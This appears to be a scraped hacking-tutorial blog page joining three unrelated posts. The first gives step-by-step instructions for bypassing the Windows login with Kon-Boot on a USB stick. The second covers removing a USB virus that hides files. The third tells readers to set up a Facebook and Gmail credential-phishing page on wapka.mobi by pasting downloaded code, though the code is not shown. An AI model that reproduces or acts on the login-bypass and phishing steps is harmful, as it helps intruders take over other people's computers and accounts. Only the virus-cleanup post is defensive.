Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction. It is a general term that can be used regardless of the form the data may take (electronic, physical, etc…)

Remember: Do this only on your own computer, make sure you are not harming others.

Requirements:

1. Kon Boot

2. USB stick (the Kon Boot file size is about 5-6 MB, so you can calculate the necessary USB size.)

Step by Step Hacking Tutorials Log in Windows Without Password with Kon Boot:

1. First, we will make Kon Boot bootable from the USB drive by using the default Kon-boot installer that is provided when we buy this program. If we use the free version, we can create the image by following the tutorial: How to Create Bootable USB (Search it in google).

We will choose the USB we want Kon-boot to be installed on and select it from the “available USB drives” drop-down list. Then click, “Install to USB stick”.



The installation process will take approximately 1 minute.

note: Make sure you choose the correct USB, because the installation process will erase all data on your USB device.

2. Now that the Kon-boot USB is ready, we need to configure the BIOS settings and change the boot order so we can boot from the USB. You can view our previous tutorial about changing BIOS boot order in step 5.

3. This is displayed when we successfully boot from the Kon-boot USB.

Hacking Tutorials Log in Windows Without Password with Kon Boot

4. After the Kon-boot initialization screen it will normally boot to Windows. When we press the SHIFT key 5 times (sticky keys), we can see that the command prompt pops up with system role.

Hacking Tutorials Log in Windows Without Password with Kon Boot

5. We can enter Windows without a password, just click the arrow and we are inside the system.

Watch this video Step by Step: Kon-Boot Step by Step Video Tutorial

Conclusions:

1. Create a password for your computer BIOS.

Hacking Tutorials Log in Windows Without Password with Kon Boot

2. Lock your computer physically to prevent someone from opening the computer case and resetting the BIOS password.

Hacking Tutorials Log in Windows Without Password with Kon Boot

Share this post if you found it was useful :)



3 Steps To Show Hidden Files Caused By Virus Infections

We do believe that everyone have experience with computer viruses and most of it is bad experience. Today we will share 3 Steps to Show Hidden Files Caused by Virus Infections. This tips and trick purpose is to help you who have difficulties showing hidden files because of virus infection.



This tips and trick is for Windows users, because most virus in the wild is targeting Windows operating system since they have the largest users in the world.

Requirements:

1. Command prompt

3 Steps to Show Hidden Files Caused by Virus Infections :

1. This is the screenshot of my USB content after I plug into infected computer.

The virus hide all my files and folders as well, and change everything into a shortcut that call Documents.vbe when executed.

2. The virus change the files and folders attribute by using system user, so when you try to change the attribute by right clicking it, you can't change it's hidden attribute.

3 Steps to Show Hidden Files Caused by Virus Infections

3. Open your command prompt and go to your USB drive. In our case the USB is in E: drive.

attrib -H -S E:\* /S /D

3 Steps to Show Hidden Files Caused by Virus Infections

Description :



attrib : Displays or changes file attributes.

– : Clears an attribute.

H : Hidden file attribute.

S : System file attribute.

E:\* : Drive of the USB with * as wildcard that means process all files.

/S : Processes matching files in the current folder and all subfolders.

/D : Processes folders as well.

Conclusion :

1. Turn off Autorun for all of removable media. View tutorial here: http://www.hacking-tutorial.com/tips-and-trick/how-to-turn-off-autorun-autoplay-on-windows-7

2. Do not doubleclick your USB folder to prevent the virus spreading into your system.

3. To delete the virus manually, you can open REGEDIT, choose EDIT tab and click Find (Ctrl + F).

3 Steps to Show Hidden Files Caused by Virus Infections

In the search box type "documents.vbe". If your search result return nothing it's mean that you're not infected by this kind of virus, if your search result return some value like the picture below:

3 Steps to Show Hidden Files Caused by Virus Infections

Write down the Documents.vbe path location, and delete the Documents.vbe manually from that folder. If you cannot delete the Documents.vbe because it is used by another program, go to task manager(CTRL+ALT+DEL) and find Wscript.exe.

3 Steps to Show Hidden Files Caused by Virus Infections

Right click and choose "End Task" to stop the Wscript.exe process and try again to delete the Documents.vbe. Don't forget to delete the registry containing Documents.vbe too.

Hope you found it useful.

Hacking FB account using wapka.mobi



Hacking FB and Gmail account using wapka.mobi


1.Register to wapka.mobi (used a valid email address)

2.After registering your account go to>site list>create new site

example: artjhayden.wapka.mobi

3.After creating your new site go to>manage it!

4.Then click>admin mode>tapos my naka lagay:: EDIT SITE (#) ::

5.Go to - WML/XHTML code then paste this codes:

Kindly download the the source code: FBSourceCode

6.Paste the codes then submit and there you have it!!!

Please comment below if this is working thanks.

VISITORS AROUND THE WORLD